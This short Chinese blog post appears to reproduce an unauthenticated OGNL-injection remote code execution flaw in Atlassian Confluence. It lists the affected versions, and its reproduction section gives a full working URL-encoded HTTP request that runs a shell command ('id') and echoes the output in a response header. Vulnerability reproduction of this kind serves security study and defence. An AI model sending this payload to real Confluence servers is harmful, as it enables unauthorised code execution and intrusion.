今天没有最新漏洞复现,就找了个最近安排的任务,发现了Confluence页面,研究后就写了这篇复现文章。
0x01 漏洞描述
Atlassian Confluence是Atlassian公司出品的专业wiki程序。攻击者可利用漏洞在未经身份验证的情况下,远程构造OGNL表达式进行注入,在Confluence Server或Data Center上执行任意代码。请相关用户尽快自检并采取措施进行防护。
(Confluence还有个RCE,为了好区分,我习惯把是CVE-2021-26084这个叫OGNL表达式注入命令执行漏洞,在后续的文章,我也会复现CVE-2021-26084)
0x02 影响范围
Atlassian Confluence Server and Data Center 用于团队成员之间的协作和知识共享,主要部署在内网,所以互联网上分布较少,主要集中在美国、德国和荷兰。
目前受影响的 Atlassian Confluence Server and Data Center 版本:
Atlassian Confluence Server and Data Center < 7.4.17
7.5.0 ≤ Atlassian Confluence Server and Data Center < 7.13.7
7.14.0 ≤ Atlassian Confluence Server and Data Center < 7.14.3
7.15.0 ≤ Atlassian Confluence Server and Data Center < 7.15.2
7.16.0 ≤ Atlassian Confluence Server and Data Center < 7.16.4
7.17.0 ≤ Atlassian Confluence Server and Data Center < 7.17.4
7.18.0 ≤ Atlassian Confluence Server and Data Center < 7.18.1
0x03漏洞复现
页面抓包,构造payload
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close